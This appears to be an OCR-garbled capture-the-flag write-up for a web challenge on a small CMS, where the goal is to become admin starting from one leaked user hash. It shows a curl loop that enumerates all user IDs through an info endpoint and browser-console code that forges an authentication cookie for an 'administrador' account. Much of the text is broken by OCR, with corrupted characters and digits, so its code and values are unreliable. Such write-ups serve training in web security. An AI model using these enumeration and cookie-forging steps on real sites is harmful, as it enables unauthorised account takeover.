|.).$pl.icu_

Y ailSaws] ay bogs e Slenl

talwo w90 (g umn Uz

I've written a small cms containing around 50 users.
Some of credentials have been leaked but I'm sure that the leakage doesn't affect
other users.

"user": "yasho",
"pass": "fcea920f7412b5da7be0cf42b8c93759"

Please prove that he's wrong, become admin :)

http://5.226.141.207:4444/
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L | Host Method | LRL | Params | Edited | Status
http: 5. 226.141. 2074444 POST flogin o 200
http: #f5. 226.141. 2074444 GET fprofile 304
http: 5. 226.141. 207 4444 POST fapifget_info W 200
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HTTP/1.1 208 QK
¥-Powered-By: Express . o
Set-Cookie: userid=Mgi30%3D; Max-Age=25; ression, 18 Feb 2019 23:43:2¢ OnT
Set-Cookie;: uxeiﬂm—arw ﬁyﬁ."i =25; Pﬁrﬁéﬁ %iﬂﬁaﬁa, Feb 2019 23:43: zmﬁr
Content-Type: text html: charset=utf-8

Content-Length: 982
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Date: Mon, 18 Feb 20819 23:42:59 GMT

Connection: close
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foriin $(seq 1 50);do
echo -n "$i";
curl -sd "user id=$i" "http://5.226.141.207:4444/api/get _info";
echo ;
done
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31 document.onreadystatechange = function () {

if {document.readyState == "complete") {
var r = localStorage.getItem{'r"')
if {r == ‘true') {
var k = localStorage.getItem('k')
var e = localStorage.getItem('e"')
var u = localStorage.getItem{'u')

ui = decodeURICompeonent{get cookie{'userid')}
var data = ui + '|' + a4+ '|' + calcMD5{k + ui + u)
set cookie{'rc'., btoal(data). e)

lecalStorage. removeltem{'r"}
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=hody=

=center=
<img src="/1images/97eef783ea9d554bdbd27b1801bad2bd . png" height="15%" widt

=fcenter=
<input type="hidden" name="0" value="1"=
=input type="hidden" name="1" walue="dddf24b2a3f560T3d5cedf5hi0492e62">
=input type="hidden" name="2" wvalue="1558558579"=
=input type="hidden" name="3" value="yasho">
<script src="/jsfs.js"=»=«fscript=
=div class="profile"=</div=
=p=Wait while you are being redirected to the panel...=/p=
=meta http-equiv="refresh" content="1; URL='/fprofile'">

=/body=

=/hitml=
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¥ k="dddf24b2a3f560f3d5ceBB5b50492e62"
"dddf24b2a3T560T3d5ce805080492eR2"
» e="1550561395"
"15568561399"
» u="administrador"
"administrador®

» ui = decodeURIComponent{"HNDc%3D")
var data = ui + "' + u 4+ '|" + calcMDS{k + ui + u)
set cookie('rc', bitoa{data), e}

undefined

» |
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Path Expires on Last accessed on Value HttpOn
Fri, 08 Mar 2019 23:45:15 GMT TKRjPXxhZG1lpbmlzdHhZGOyfGU40DN... false
| s%%3ABSnlyuxgBpHpvucOP)sdtrebshYU... true
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